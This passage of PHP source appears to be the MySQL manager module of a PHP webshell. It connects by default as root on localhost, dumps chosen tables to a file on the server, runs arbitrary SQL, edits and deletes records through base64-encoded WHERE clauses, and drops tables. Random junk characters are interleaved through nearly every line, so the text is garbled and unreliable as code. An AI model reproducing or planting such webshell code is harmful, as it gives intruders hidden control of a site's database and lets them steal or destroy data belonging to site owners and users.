    ' |  x. d8 J: R$ O: x+ q
  667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
    # m& N0 N7 r) e: Z7 J+ E3 [* Q
  668.         makehide('dbhost');
    / N2 a  l0 s" V3 F; b( f  s* _
  669.         makehide('dbport');' _% f7 `% C7 {# d- _# R
  670.         makehide('dbuser');
    6 Z0 _, g0 s/ {3 `2 w
  671.         makehide('dbpass');
    ( d& A& ?$ \- `- k/ ]$ ]1 d! k
  672.         makehide('dbname');
    2 ~( y9 N6 Q  m/ g4 \
  673.         makehide('charset');
    8 K& N  v+ |, g9 W6 z
  674.         makehide('doing');
    ; d  G2 w/ v6 C$ e0 |( P& z- T
  675.         makehide('action','sqlfile');
    + o- l0 K/ H( d6 ^7 _. \2 i
  676.         p('</form>');
    9 }. ^0 [% h$ a5 c2 |5 u
  677. }" J- d1 u! R' i+ f0 v; j

  678. 2 s* R  M3 `. P4 U; i6 U
  679. elseif ($action == 'sqladmin') {$ [; {! r; D, D6 F. Q# D
  680.         !$dbhost && $dbhost = 'localhost';- S9 S) G/ y; x- e0 h
  681.         !$dbuser && $dbuser = 'root';3 w9 w' `4 ?* J- E& f4 w. d
  682.         !$dbport && $dbport = '3306';# r+ |/ H/ [- h1 J0 y% e, l
  683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
    * H- a) p& W- w8 A
  684.         if(isset($dbhost)){' T; g" e8 @, M
  685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";- `, n* o$ b& A
  686.         }, U; @2 L$ F3 ?* P# ~
  687.         if(isset($dbuser)) {
    : X( D7 X4 |2 y! J; ^# z
  688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";3 ]$ s% j  u+ }7 ~2 L
  689.         }
    8 l3 h; u9 X! s
  690.         if(isset($dbpass)) {1 r0 M2 M: C. I" P1 ~: b
  691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";- a/ y" y. x$ m, u' p  T4 k8 v1 z
  692.         }
    5 {  k5 k- t% M* L4 x
  693.         if(isset($dbport)) {9 q2 K7 o, c; c0 O  F' |% _6 d4 g
  694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";! O0 a1 }3 E' k' |0 y- z7 y5 Z" \
  695.         }0 I; z! j$ v" b* l) T" g
  696.         if(isset($dbname)) {& Q: B" \' t; o
  697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
    1 l% |& Z7 Y3 E) _$ m
  698.         }2 C8 m( t: k8 }( v
  699.         if(isset($charset)) {
    5 b) b& L  W3 e" X
  700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
    4 r1 ^' ^( O  x! S  e2 n; [( m/ |+ v
  701.         }! a+ H# S* t3 r

  702. * X! T( R& c. X/ E2 q
  703.         if ($doing == 'backupmysql' && $saveasfile) {. K" U4 K0 l* x4 ]) k! T
  704.                 if (!$table) {
    " R1 M& \% S8 m) ~/ R: ^& h
  705.                         m('Please choose the table');2 X' p  U2 x; k3 B$ J- a$ @
  706.                 } else {0 ]/ A% m% ?. I
  707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    - Q0 ^3 p3 J# v/ @. b2 M( q7 p
  708.                         $table = array_flip($table);7 ~7 ^; m4 f% ~( a% c. H
  709.                         $fp = @fopen($path,'w');& Q. N% q8 ?. R# a+ o
  710.                         if ($fp) {! y2 j% q) X0 g5 F; `
  711.                                 $result = q('SHOW tables');+ R! k4 l$ o' E) |
  712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');% F  G- p' O; n/ V4 R2 h
  713.                                 $mysqldata = '';1 T. w, J$ \  R( D. Y; b- n
  714.                                 while ($currow = mysql_fetch_array($result)) {
    - e8 ?/ n2 j( s
  715.                                         if (isset($table[$currow[0]])) {
    # |4 A/ A. X; q. M+ [) \3 p! ]
  716.                                                 sqldumptable($currow[0], $fp);2 j/ p' |$ I( u( m" I8 F( e% g2 b
  717.                                         }
    * M% }6 I4 U, M5 W! _
  718.                                 }( H  E1 e& o% F/ U3 g* A  \
  719.                                 fclose($fp);
    % b6 c) T& q# H% w
  720.                                 $fileurl = str_replace(SA_ROOT,'',$path);" \1 f3 q. o: z% \
  721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');: `, X: X9 n& M% k! |  o. N: w
  722.                                 mysql_close();
    2 N# j2 o. b* I" `
  723.                         } else {
    7 P; W4 [$ h; ?8 O4 x
  724.                                 m('Backup failed');
    0 ?' N! k9 R! y, u, n& [
  725.                         }1 d, S. S% G! L9 J- U0 E1 ]
  726.                 }* u( m& M3 X8 ?" z/ [$ [% `
  727.         }
    % R  j* n! R5 r2 @- U& q) r
  728.         if ($insert && $insertsql) {
    1 b8 o+ n- S# i# G# j
  729.                 $keystr = $valstr = $tmp = '';
    ; H0 X! a6 Y- f( ~! f
  730.                 foreach($insertsql as $key => $val) {
    ' m( R* j$ L5 o- \. ?' M# D
  731.                         if ($val) {
    . V! f6 ^( a4 C0 l, o" a7 d
  732.                                 $keystr .= $tmp.$key;7 V/ C0 I/ A+ k# [2 Z, q- x
  733.                                 $valstr .= $tmp."'".addslashes($val)."'";
    / Z# w, L* f7 F2 |
  734.                                 $tmp = ',';) @, |6 A- ^/ A7 Z; t) K
  735.                         }
    : m7 d' |. C* Z, k- m) I6 G$ P
  736.                 }
    , f1 d1 M7 a* @- _5 P1 n) E
  737.                 if ($keystr && $valstr) {" M7 i# d4 A! Q/ e$ _, B
  738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);0 d9 F: \7 k# J  [
  739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
    2 W) \# @3 r( W8 f
  740.                 }0 M. [8 |- ~4 i+ u) U  y. ]
  741.         }$ b7 t6 j9 k* A- }6 q0 N. w
  742.         if ($update && $insertsql && $base64) {! A# r1 @: [4 W% O
  743.                 $valstr = $tmp = '';
    9 ]1 t+ X4 ~5 Z. E' g1 ~7 A
  744.                 foreach($insertsql as $key => $val) {
    . r6 W7 U$ m# r: y
  745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";/ G7 z, G+ E2 B1 O( z5 s
  746.                         $tmp = ',';
    2 V9 a* ]6 G" a3 J
  747.                 }# Q+ z" M8 O3 O! e5 ?$ f
  748.                 if ($valstr) {, P# [6 E5 i" m4 D6 z
  749.                         $where = base64_decode($base64);
    & B8 _6 o2 O% ^* Y7 {
  750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);) k2 V1 W2 ]( _0 W9 S
  751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());: ]8 l/ f/ K* b3 y- x
  752.                 }# m( R  [& {4 t4 m" i( ?
  753.         }/ d, V* n! x1 P) P
  754.         if ($doing == 'del' && $base64) {
    4 M, T/ j& `+ S3 l) R3 B2 I8 a' f
  755.                 $where = base64_decode($base64);( Z/ R$ V) M" A- ^1 ~/ m6 {4 E/ r
  756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";
    + W1 o0 @6 ^& {6 L' W" E" s
  757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);5 ?- t4 u4 j4 [4 t  m7 H: T
  758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
    5 D) u# g9 b; K( F$ n' ^# T% E+ R! G
  759.         }
    / Y/ k9 d6 P  g( j& A9 ^( B/ P) v
  760. : n/ y  W) {' j  X  k
  761.         if ($tablename && $doing == 'drop') {. c  t7 u) f2 `/ h/ m3 V! w" f$ a4 q
  762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);5 B: ]0 F$ e0 H) h6 m; O
  763.                 if (q("DROP TABLE $tablename")) {
    % H1 a7 H9 A* R' p- m8 }
  764.                         m('Drop table of success');
    2 g, K: r3 T4 G9 x3 x5 i/ L- w
  765.                         $tablename = '';
    . @  Y9 f3 m. }( ]9 i
  766.                 } else {
    , o* }5 F' J' o
  767.                         m(mysql_error());
    ( m0 K7 z2 p) U" U) w
  768.                 }7 a0 @' k- E8 y; u, u: t% r
  769.         }) c0 Z* t/ |+ ^
  770. 6 W( G% u% }) O8 K
  771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    # ]5 ?7 v: D! ]3 E' U- A- h

  772. & j4 B0 Y5 ^* w0 W* c
  773.         formhead(array('title'=>'MYSQL Manager'));, E( R5 I7 V1 S( U
  774.         makehide('action','sqladmin');# q0 p8 n/ B- a  A0 @) m) h
  775.         p('<p>');% j( \' l% M( i; _9 z( R
  776.         p('DBHost:');/ |9 ]( i1 _* \) g1 |
  777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));5 P' ^0 e! I6 \# t8 t/ N1 o2 g
  778.         p(':');
    4 |- |3 N- P  {9 c/ K7 }# L/ ~
  779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
    4 ^" T$ x( T, A. T- y3 l7 l( B: `
  780.         p('DBUser:');! e4 [3 n6 |, K5 s% ^# f
  781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));  S, q  L: o5 E* z
  782.         p('DBPass:');
    - p% ?0 {  F' c0 ]! H' @  |; y0 l
  783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));) y. h8 ]  y5 _- ~- g* O
  784.         p('DBCharset:');* O2 Y$ i" n% i* H3 v
  785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    . \6 R5 g7 O2 b3 u. ?# h& Y) s1 R' }
  786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));8 q) U$ V& `$ x7 J) o( j
  787.         p('</p>');/ \. I* T$ b; T& b
  788.         formfoot();
    / |0 ?# t4 p& Y4 Y  i' }3 q& j3 v
  789. ?>2 N7 P: I" y6 W' `2 j% V
  790. <script type="text/javascript">$ X/ z5 a- J4 a
  791. function editrecord(action, base64, tablename){8 ?+ Z3 J- I, L* l6 U
  792.         if (action == 'del') {                ( h0 W! E/ `" U0 z5 _1 T
  793.                 if (!confirm('Is or isn\'t deletion record?')) return;" A* |; R/ Z' J; l8 I
  794.         }
    + M' d( @1 V. |8 P( D& `4 X
  795.         $('recordlist').doing.value=action;8 t: {+ U# p! \$ e+ T) }* d! P
  796.         $('recordlist').base64.value=base64;
    . M$ j" E9 o& J( F: F" w1 u, |
  797.         $('recordlist').tablename.value=tablename;
    ! R2 Q# z3 f; Z9 o
  798.         $('recordlist').submit();" f  |. Q7 f  J6 M
  799. }
    0 s1 I% N( C& n) v5 Y
  800. function moddbname(dbname) {" v* i( r7 \: D) B. ^
  801.         if(!dbname) return;$ M6 s  @$ S. M, l4 p
  802.         $('setdbname').dbname.value=dbname;8 Q5 m. e2 v! t
  803.         $('setdbname').submit();
    5 D/ k2 |6 q# l% v& c
  804. }5 G$ I( R4 ^3 b. Z) I, |
  805. function settable(tablename,doing,page) {
    , T! B6 I" }) x
  806.         if(!tablename) return;# G0 S, v- b7 M5 v3 ]9 p
  807.         if (doing) {
    2 v; o8 B# R& K
  808.                 $('settable').doing.value=doing;( z5 U% r( A; H2 k% Q+ A
  809.         }
    : z+ {" e6 y0 _8 C  A% \- q5 [% h
  810.         if (page) {
    * H/ e. X. n+ [
  811.                 $('settable').page.value=page;7 b& [0 {# L2 c4 ]$ F7 t" |
  812.         }* u6 O  [' X* m5 K/ S; p: C* A2 L
  813.         $('settable').tablename.value=tablename;6 B& M# W5 ~! n$ B; V) f+ l' v; h
  814.         $('settable').submit();
    ' V! d2 [& j2 z" b8 Q
  815. }4 h/ y, ^1 G( w1 z( P6 ~+ x
  816. </script>
    5 }) b+ ^' H4 Q" C+ S0 {" U" a+ v7 A
  817. <?php
    ! I) y4 d4 s- G% J& J( {
  818.         //操作记录
    + L) C% x" Q* p7 _8 m; T
  819.         formhead(array('name'=>'recordlist'));9 |5 C; L2 a2 C; p* W/ [* M& Y4 C1 J
  820.         makehide('doing');. B3 j! |) O& ]2 I
  821.         makehide('action','sqladmin');
    % @. M1 Y" x" J" `" A, s
  822.         makehide('base64');4 J! Z6 n. Q- \# g7 h0 O% U$ _
  823.         makehide('tablename');3 i+ k4 K. |5 C& v* z( n/ x4 e
  824.         p($dbform);
    1 X/ V7 p- o9 l6 c& C5 d
  825.         formfoot();$ T! t: n+ Z- ~/ i
  826.         //选定数据库/ l# ~( t/ I. J* t
  827.         formhead(array('name'=>'setdbname'));5 A5 w' i7 N6 m' N0 ^" c  ^  p
  828.         makehide('action','sqladmin');
    * A* A' d9 V* C9 C+ g
  829.         p($dbform);
    ! A0 }% O/ e& G* `- {4 S: P- C
  830.         if (!$dbname) {
    ; ^" P) {7 v2 K0 G  c
  831.                 makehide('dbname');1 t& O3 W& w7 w. k- _
  832.         }  j- |7 ?% B# Q2 C  _0 c
  833.         formfoot();+ P( H6 s7 J- e& S
  834.         //选定表0 W2 \' O1 a/ D+ C& P+ x2 B* `" r: C
  835.         formhead(array('name'=>'settable'));
    0 h+ e! D4 }. k9 b, J
  836.         makehide('action','sqladmin');
    5 d! R1 J/ a! G- b
  837.         p($dbform);/ G! e+ X  {% }+ F
  838.         makehide('tablename');7 ^1 z2 Z  Y. B8 B4 J  N3 n6 {
  839.         makehide('page',$page);$ r. _' w: n3 |1 Z
  840.         makehide('doing');
    ) z, T$ z4 a# @! N
  841.         formfoot();* a" B" H, }, _( V3 z. ~6 l
  842.         $cachetables = array();        6 q6 U6 Y; A3 _
  843.         $pagenum = 30;
    - ]* {* |9 l, Q; I
  844.         $page = intval($page);
    7 I* V9 `  _9 X2 T
  845.         if($page) {
    % z$ O0 O' o& v3 d7 B
  846.                 $start_limit = ($page - 1) * $pagenum;
    ) Z6 J  s2 k; b3 M7 _
  847.         } else {
    # d( `" x# Q8 D3 Z
  848.                 $start_limit = 0;
    & \* O2 @' X+ ~% A6 h  a! ~
  849.                 $page = 1;: J9 R$ [- V! ~3 \$ \* c
  850.         }
    9 J  `; [& K! {$ s. j$ I! a
  851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
    - h8 w9 W( @6 [1 N
  852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    1 i& Z( H: u( B4 `$ D$ z
  853.                 //获取数据库信息/ v6 x3 e7 B+ u
  854.                 $mysqlver = mysql_get_server_info();7 D" d4 m( w  Z( y0 p, X
  855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
    * H7 P, M  x; Y1 E! ~! @! n
  856.                 $highver = $mysqlver > '4.1' ? 1 : 0;+ ?$ s  p0 `& h
  857.                 //获取数据库
    & a" K2 }5 y. o: S
  858.                 $query = q("SHOW DATABASES");
    " Z% x# U6 Y, X$ i! V) [) I4 E
  859.                 $dbs = array();
    8 h# t/ B. P: x7 k1 L& f
  860.                 $dbs[] = '-- Select a database --';
    ) y- S* V0 W' m! C: ^
  861.                 while($db = mysql_fetch_array($query)) {
    8 G' B2 P/ {; p! ~5 U
  862.                         $dbs[$db['Database']] = $db['Database'];
    8 j$ |5 W- E) G# ?& j- C5 j
  863.                 }: ~, _6 R' j  A1 M" T( `
  864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
    . a# f+ \5 j5 r
  865.                 $tabledb = array();7 g; G6 G5 y  Q$ a
  866.                 if ($dbname) {+ R4 x  _# b$ j( E0 U4 ?
  867.                         p('<p>');
    " A) [$ l+ t# u2 q! v6 B8 ^
  868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');# u! J9 b6 R5 M3 l7 v7 E) ~
  869.                         if ($tablename) {
    1 e- n+ ?4 t# ^; `
  870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');& j' x, ]: L- T
  871.                         }
    ! C2 U3 K: ~% r0 J; U
  872.                         p('</p>');
      I& @' b$ j, Z! C  _$ Q
  873.                         mysql_select_db($dbname);
    $ ~8 `; ]4 l% @# q' L6 S, V" Q4 s
  874.                         $getnumsql = '';9 r/ J6 T' W( [/ l* i  n0 N
  875.                         $runquery = 0;
    % n9 r) O9 B, V( \8 M5 K
  876.                         if ($sql_query) {" c( F  M2 {3 ^
  877.                                 $runquery = 1;+ ]+ l! T9 f6 I( a5 Q8 [
  878.                         }
    ! i4 y* v+ J2 b" c% Q' K1 P$ T
  879.                         $allowedit = 0;& d) {5 R$ y( |& C% a
  880.                         if ($tablename && !$sql_query) {
    " T; s1 i) K+ Z, H. y
  881.                                 $sql_query = "SELECT * FROM $tablename";
    5 j' e$ r3 T" d7 g1 ]. i
  882.                                 $getnumsql = $sql_query;
    , b$ a$ W0 U  }$ K: X+ k9 P" M
  883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";5 p9 r) M" W: [9 m& f( F; }
  884.                                 $allowedit = 1;
    2 H2 a: C9 W2 |. Q# _$ t" {' V
  885.                         }3 f1 Q. \$ M7 ?: f) K1 |
  886.                         p('<form action="'.$self.'" method="POST">');" g; k% n, {" t
  887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');% {( F8 t+ l  N7 L8 A
  888.                         makehide('tablename', $tablename);
    . C. Z0 `: v# u/ c. f
  889.                         makehide('action','sqladmin');+ X9 s4 _) r; J) L( D# F# ~* L
  890.                         p($dbform);- J2 D9 B' e6 M' J& }
  891.                         p('</form>');( ^  ]$ \2 b9 n; w6 R
  892.                         if ($tablename || ($runquery && $sql_query)) {  _3 ^; V# H. v* N5 i" G
  893.                                 if ($doing == 'structure') {
    ! g5 Z* R  @8 u2 z
  894.                                         $result = q("SHOW COLUMNS FROM $tablename");6 a1 X! `) K. X& g, s, X: ~
  895.                                         $rowdb = array();9 p5 y( ~9 K! Q" d! M) _( W6 g
  896.                                         while($row = mysql_fetch_array($result)) {3 _9 z6 ?6 Z4 v  b" f8 w' z% m
  897.                                                 $rowdb[] = $row;
    # h; |: G3 F# S( W+ _! D
  898.                                         }8 Z4 i) \' M; z- }8 f) o3 C
  899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');$ B0 J, L" G( V& C$ e( Q
  900.                                         p('<tr class="head">');' X9 @/ M7 x9 m1 n
  901.                                         p('<td>Field</td>');8 S+ X; v8 T& B1 C" a8 W$ J
  902.                                         p('<td>Type</td>');! S  U6 u5 J+ W) z
  903.                                         p('<td>Null</td>');# e. H! q% z0 h4 t6 k2 {
  904.                                         p('<td>Key</td>');) o) b7 Z. F# x' Q% p4 ~
  905.                                         p('<td>Default</td>');: Z. J% x0 z- C) \
  906.                                         p('<td>Extra</td>');2 N, W6 U3 J9 H& E1 f( t
  907.                                         p('</tr>');
    ' G3 Q( f) d% W/ k9 ?
  908.                                         foreach ($rowdb as $row) {3 j, f& R! L4 q
  909.                                                 $thisbg = bg();% g8 y; x- [3 i% F/ N
  910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    : Y6 F9 i/ E8 H5 T! @- v8 R7 t
  911.                                                 p('<td>'.$row['Field'].'</td>');4 Z6 ^( n% I8 j$ {' x4 T
  912.                                                 p('<td>'.$row['Type'].'</td>');
    & [& X6 Z4 }; \! z
  913.                                                 p('<td>'.$row['Null'].' </td>');
    " b" Z4 B  v3 ~; Y# |' ]
  914.                                                 p('<td>'.$row['Key'].' </td>');
      H. b' Y' m# u3 G0 F1 k6 R$ W; u) b
  915.                                                 p('<td>'.$row['Default'].' </td>');, O3 m9 T. a( U4 O+ P! ]) s
  916.                                                 p('<td>'.$row['Extra'].' </td>');
    3 O- \! Y! [. A0 c( u
  917.                                                 p('</tr>');
    7 ~" t/ m5 s1 B
  918.                                         }
    $ F# @& ~1 B, n7 f$ P2 L
  919.                                         tbfoot();& D8 [1 ^$ [5 U+ d# `' \
  920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {4 F" W/ B: p- a# s6 u
  921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);! O6 G+ Q* N6 o3 @3 U5 z
  922.                                         while ($row = mysql_fetch_array($result)) {
    # Y6 e2 W& o, Z$ `4 }/ N' J, `
  923.                                                 $rowdb[] = $row;
    9 Y# x. M2 C* q' ]/ J
  924.                                         }
    & o4 y, y3 p1 g5 A7 v) j
  925.                                         $rs = array();5 k  D0 p- R6 G* n
  926.                                         if ($doing == 'insert') {
    9 I  g1 _, g; s: D4 l9 p4 Z
  927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
    ) K0 F* j5 c& N6 w& K+ L' @
  928.                                         } else {. F, f8 j: c3 C
  929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');& w: ~$ v7 v2 _1 h, z/ |6 M
  930.                                                 $where = base64_decode($base64);( L7 }& o8 F# Z, z+ J# N! a0 n- m
  931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");0 R! _8 K9 @7 q# o8 K
  932.                                                 $rs = mysql_fetch_array($result);
    0 N+ K) [, P+ S
  933.                                         }9 a/ B) Q2 M# W1 G5 ^- ^3 a
  934.                                         p('<form method="post" action="'.$self.'">');
    6 n9 J% p  Y. r8 q3 S; t
  935.                                         p($dbform);" y6 p+ F' R: |8 W+ ^
  936.                                         makehide('action','sqladmin');
    / [6 S4 u- @: s- R
  937.                                         makehide('tablename',$tablename);6 Z6 E0 F/ |7 S) w$ x
  938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');# V3 y6 E% |, `: Q, D& \4 ?: v
  939.                                         foreach ($rowdb as $row) {
    " D  T: {+ @# s! C
  940.                                                 if ($rs[$row['Field']]) {3 U0 H& e  m2 N8 y5 \
  941.                                                         $value = htmlspecialchars($rs[$row['Field']]);4 H, t6 k/ Y2 i1 k1 b
  942.                                                 } else {
    % ~6 Q$ h) v4 g7 R. _' U4 u8 [
  943.                                                         $value = '';
    * _0 F% {1 G6 g% j1 N! i% g
  944.                                                 }) }+ g0 g$ N. e* y3 Z% O+ j; C
  945.                                                 $thisbg = bg();  U/ r, p% k8 Q2 `
  946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    . D" s! e; @" N& c" y' ~& {1 P( ?
  947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');; V' q0 v6 g/ {& B* U
  948.                                         }
    + i& J: E2 g( f& E4 B1 D- o7 c4 W4 u
  949.                                         if ($doing == 'insert') {
    * p1 d) X" f; a& v" j/ `. Z
  950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');7 m- ^6 H: _% E2 H$ L4 v0 ?0 a
  951.                                         } else {
    / [. F5 |5 f0 j% e& U
  952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
    5 b- k% X1 N; T# J6 w1 ^; y
  953.                                                 makehide('base64', $base64);% P7 \& P' a) k: g! a
  954.                                         }
    - O4 S* J) T. O1 d) n0 |2 A
  955.                                         p('</table></form>');
    ' m: F3 m$ c5 v
  956.                                 } else {
    0 d" D# \# \/ R; [) h/ c* W
  957.                                         $querys = @explode(';',$sql_query);9 W, s& [# q6 O- u) z" E9 c" s
  958.                                         foreach($querys as $num=>$query) {
    8 V2 c8 ^- F% j: x/ a
  959.                                                 if ($query) {
      }* X. a: g# ]9 X! D- y3 v
  960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
    7 e1 S$ F0 R% z& d; Y% @
  961.                                                         switch(qy($query))# H1 Q8 C8 b0 h7 }. C! G& B( f
  962.                                                         {
    & z# F$ H8 l! l% O  Z4 K
  963.                                                                 case 0:
    : q: u5 J- C; t! t7 W; R( t
  964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');8 w. [; F7 v% C# z9 d3 [; e% A- e
  965.                                                                         break;        8 Y' M0 {6 n' Q# X6 Q; U4 u
  966.                                                                 case 1:8 G3 x3 o3 D5 F  T, j
  967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {
    / ]* g7 N# ^, b; `
  968.                                                                                 $allowedit = 1;
    4 w$ D. Y' B8 ]6 f6 E2 h
  969.                                                                         }( W9 c3 t2 ?) R8 P9 I7 Z5 w8 Y/ \
  970.                                                                         if ($getnumsql) {
    9 f) |. l! `& C6 W) s% ]
  971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
    " \( r1 t, T+ H, \
  972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);
      }* E1 ^! N. Y( S
  973.                                                                         }1 s" o8 [% ?7 f! g8 v; ?) A
  974.                                                                         if (!$tablename) {' S) h5 g+ F% \, I
  975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
    . N& V8 a- k9 o2 R, O' x
  976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
    * C7 g3 K$ W# f, \$ K
  977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
    " ]- Q" n0 s  b( m# |2 M# Z" L
  978.                                                                                 $tablename = $matches[1][0];7 s# h/ D/ Z: P% A6 h
  979.                                                                         }
    8 N& g- l7 z, x( d7 K
  980.                                                                         $result = q($query);
    , c0 K9 x7 B9 u3 H) L/ n
  981.                                                                         p($multipage);2 w. c5 W& `& M2 K4 Q' ^: ^
  982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    ( g6 O  t% Q0 N3 n
  983.                                                                         p('<tr class="head">');7 S  V9 k0 G# I5 b+ j
  984.                                                                         if ($allowedit) p('<td>Action</td>');
    . N( J6 ~" X& x# `' a
  985.                                                                         $fieldnum = @mysql_num_fields($result);: U$ L4 v$ [& C1 h0 ^4 v: U, w- ]
  986.                                                                         for($i=0;$i<$fieldnum;$i++){
    / a0 V: k4 ^9 \/ W& h& P; Z
  987.                                                                                 $name = @mysql_field_name($result, $i);4 ~' ^, X& t2 i
  988.                                                                                 $type = @mysql_field_type($result, $i);
    2 F! j% w& ]  D0 V' D2 u! J
  989.                                                                                 $len = @mysql_field_len($result, $i);" N3 N) Y3 H; i8 H* G
  990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
    8 r  R- d$ j& z- x4 A
  991.                                                                         }& O" o6 q: H& k
  992.                                                                         p('</tr>');
    ' T% T- [! S0 R: G
  993.                                                                         while($mn = @mysql_fetch_assoc($result)){1 E5 X3 G% h' J+ b6 z
  994.                                                                                 $thisbg = bg();
    2 {# L5 z0 `; F4 B6 h+ _( h9 P4 o
  995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');. z) l% }4 e9 ^3 H7 `  k! X/ b5 |
  996.                                                                                 $where = $tmp = $b1 = '';. H1 w! d6 k5 I2 s, A; O2 s
  997.                                                                                 foreach($mn as $key=>$inside){; H# q& I0 P4 l7 S* }8 j% }7 M, p
  998.                                                                                         if ($inside) {
    - d, L: E% R( S. H- E+ B7 I9 [
  999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
    & L$ _2 h- B2 @
  1000.                                                                                                 $tmp = ' AND ';
    + Y3 O' T' m) c
  1001.                                                                                         }5 O8 V2 @! M4 d& ?. z) t
  1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
    ) R8 W* H$ ]: U% _6 S
  1003.                                                                                 }' y3 ~( J, E" b6 T7 h3 i$ D. |
  1004.                                                                                 $where = base64_encode($where);) P1 f8 y0 Y2 h& T+ x" Y* {/ U
  1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
    ( a  y0 J7 i, A' }$ }
  1006.                                                                                 p($b1);
    ; P% j' y# r3 l* ~
  1007.                                                                                 p('</tr>');* {: Y4 g$ z& n# }
  1008.                                                                                 unset($b1);
    3 [: [) U5 h3 g8 d
  1009.                                                                         }
    . c( V7 }0 `/ N3 r
  1010.                                                                         tbfoot();4 u& }+ Q& q" b
  1011.                                                                         p($multipage);7 L$ w, P$ G1 S  l8 T
  1012.                                                                         break;       
    * j$ y5 |4 S: v
  1013.                                                                 case 2:
    : h- M: i6 Q/ \* ]- T6 o; E. U- q
